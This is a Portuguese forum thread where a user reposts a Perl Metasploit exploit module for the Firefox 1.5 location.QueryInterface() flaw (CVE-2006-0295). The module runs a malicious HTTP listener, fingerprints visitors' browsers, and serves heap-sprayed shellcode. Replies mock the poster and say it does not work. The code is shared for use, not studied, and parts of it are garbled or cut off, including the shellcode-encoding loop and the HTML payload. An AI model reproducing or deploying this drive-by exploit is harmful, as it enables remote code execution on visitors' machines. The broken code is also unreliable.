Linux: Mozilla Firefox 1.5 location.QueryInterface()Exploit

[calejo]

Code Select Expand

###############################

#Lusovista.com sucks, by calejo

###############################



package Msf::Exploit::firefox_queryinterface_linux;



use strict;

use base "Msf::Exploit";

use Pex::Text;

use IO::Socket::INET;

use IPC::Open3;



my $advanced =

  {

\\'Gzip\\'   => [1, \\'Enable gzip content encoding\\'],

\\'Chunked\\' => [1, \\'Enable chunked transfer encoding\\'],

  };



my $info =

  {

\\'Name\\'   => \\'Firefox location.QueryInterface() Code Execution (Linux x86)\\',

\\'Version\\' => \\'$Revision: 1.1 $\\',

\\'Authors\\' =>

 [

\\'H D Moore \\',

 ],



\\'Description\\' =>

 Pex::Text::Freeform(qq{

This module exploits a code execution vulnerability in the Mozilla

Firefox browser. To reliably exploit this vulnerability, we need to fill

almost a gigabyte of memory with our nop sled and payload. This module has

been tested on Gentoo Linux with the stock Firefox 1.5.0 package.

}),



\\'Arch\\'   => [ \\'x86\\' ],

\\'OS\\' => [ \\'linux\\' ],

\\'Priv\\'   => 0,



\\'UserOpts\\'   =>

 {

\\'HTTPPORT\\' => [ 1, \\'PORT\\', \\'The local HTTP listener port\\', 8080  ],

\\'HTTPHOST\\' => [ 0, \\'HOST\\', \\'The local HTTP listener host\\', "0.0.0.0" ],

 },



\\'Payload\\' =>

 {

\\'Space\\' => 1024,

\\'BadChars\\' => "x00",

\\'Keys\\' => [\\'-bind\\'],

 },

\\'Refs\\'   =>

 [

 [\\'CVE\\', \\'2006-0295\\'],

 [\\'BID\\', \\'16476\\'],

 [\\'URL\\', \\'http://www.mozilla.org/security/announce/mfsa2006-04.html\\'],

 ],



\\'DefaultTarget\\'  => 0,

\\'Targets\\' =>

 [

[ \\'Mozilla Firefox 1.5.0.0 on Linux x86\\' ]

 ],



\\'Keys\\'   => [ \\'mozilla\\' ],



\\'DisclosureDate\\' => \\'Feb 02 2006\\',

  };



sub new {

my $class = shift;

my $self = $class->SUPER::new({\\'Info\\' => $info, \\'Advanced\\' => $advanced}, @_);

return($self);

}



sub Exploit

{

my $self = shift;

my $server = IO::Socket::INET->new(

LocalHost => $self->GetVar(\\'HTTPHOST\\'),

LocalPort => $self->GetVar(\\'HTTPPORT\\'),

ReuseAddr => 1,

Listen => 1,

Proto => \\'tcp\\'

);

my $client;



# Did the listener create fail?

if (not defined($server)) {

$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar(\\'HTTPPORT\\'));

return;

}



my $httphost = ($self->GetVar(\\'HTTPHOST\\') eq \\'0.0.0.0\\') ?

Pex::Utils::SourceIP(\\'1.2.3.4\\') :

$self->GetVar(\\'HTTPHOST\\');



$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar(\\'HTTPPORT\\') ."/");



while (defined($client = $server->accept())) {

$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));

}



return;

}



sub HandleHttpClient

{

my $self = shift;

my $fd   = shift;



# Set the remote host information

my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);





# Read the HTTP command

my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);

my $agent;



# Read in the HTTP headers

while ((my $line = $fd->RecvLine(10))) {



$line =~ s/^s+|s+$//g;



my ($var, $val) = split(/:/, $line, 2);



# Break out if we reach the end of the headers

last if (not defined($var) or not defined($val));



$agent = $val if $var =~ /User-Agent/i;

}



my $os = \\'Unknown\\';

my $vl = ($agent =~ m//1.5$/) ? \\'Vulnerable\\' : \\'Not Vulnerable\\';



$os = \\'Linux\\' if $agent =~ /Linux/i;

$os = \\'Mac OS X\\'  if $agent =~ /OS X/i;

$os = \\'Windows\\'   if $agent =~ /Windows/i;





$self->PrintLine("[*] Client connected from $rhost:$rport ($os/$vl).");



if ($os ne \\'Linux\\') {

$self->PrintLine("[*] Invalid target for this exploit, trying anyways...");

} else {

$self->PrintLine("[*] Sending payload and waiting for execution...");

}



my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));



$fd->Close();

}





sub JSUnescape {

my $self = shift;

my $data = shift;

my $code = \\'\\';



# Encode the shellcode via %u sequences for JS\\'s unescape() function

my $idx = 0;

while ($idx Targets->[$self->GetVar(\\'TARGET\\')];

my $shellcode   = $self->JSUnescape($self->GetVar(\\'EncodedPayload\\')->Payload);

my $data = qq#

















#;

return $data;

}



sub BuildResponse {

my ($self, $content) = @_;



my $response =

 "HTTP/1.1 200 OKrn" .

 "Content-Type: text/htmlrn";



if ($self->GetVar(\\'Gzip\\')) {

$response .= "Content-Encoding: gziprn";

$content = $self->Gzip($content);

}

if ($self->GetVar(\\'Chunked\\')) {

$response .= "Transfer-Encoding: chunkedrn";

$content = $self->Chunk($content);

} else {

$response .= \\'Content-Length: \\' . length($content) . "rn" .

 "Connection: closern";

}



$response .= "rn" . $content;



return $response;

}



sub Chunk {

my ($self, $content) = @_;



my $chunked;

while (length($content)) {

my $chunk = substr($content, 0, int(rand(10) + 1), \\'\\');

$chunked .= sprintf(\\'%x\\', length($chunk)) . "rn$chunkrn";

}

$chunked .= "0rnrn";



return $chunked;

}



sub Gzip {

my $self = shift;

my $data = shift;

my $comp = int(rand(5))+5;



my($wtr, $rdr, $err);



my $pid = open3($wtr, $rdr, $err, \\'gzip\\', \\'-\\'.$comp, \\'-c\\', \\'--force\\');

print $wtr $data;

close ($wtr);

local $/;



return ();

}

1;

[masterhard]

tens a certeza que sao exploits? e que isso aqui e so simples documento de texto  :loli:
QUERO UMA MERDA QUE FUNCIONE E JAH!!!

[calejo]

... isso é mesmo observação de noob

[masterhard]

... isso é mesmo observação de noob

sim claro,e teu ,nao funciona eu sou n00b como tudo,pah,cresce!!

[nunojsilva]

Aprende a fazer scripts como deve ser.

[calejo]

epah nao custa tentar

[masterhard]

epah nao custa tentar

tas-te a contradizer, senhor pro....
entao ou fazes ou fazes de conta que fazes?

 :roll:
de qualquer das formas, ja tas apanhado  :wink:

[tiagotex]

eu se fosse a ti enterrava-me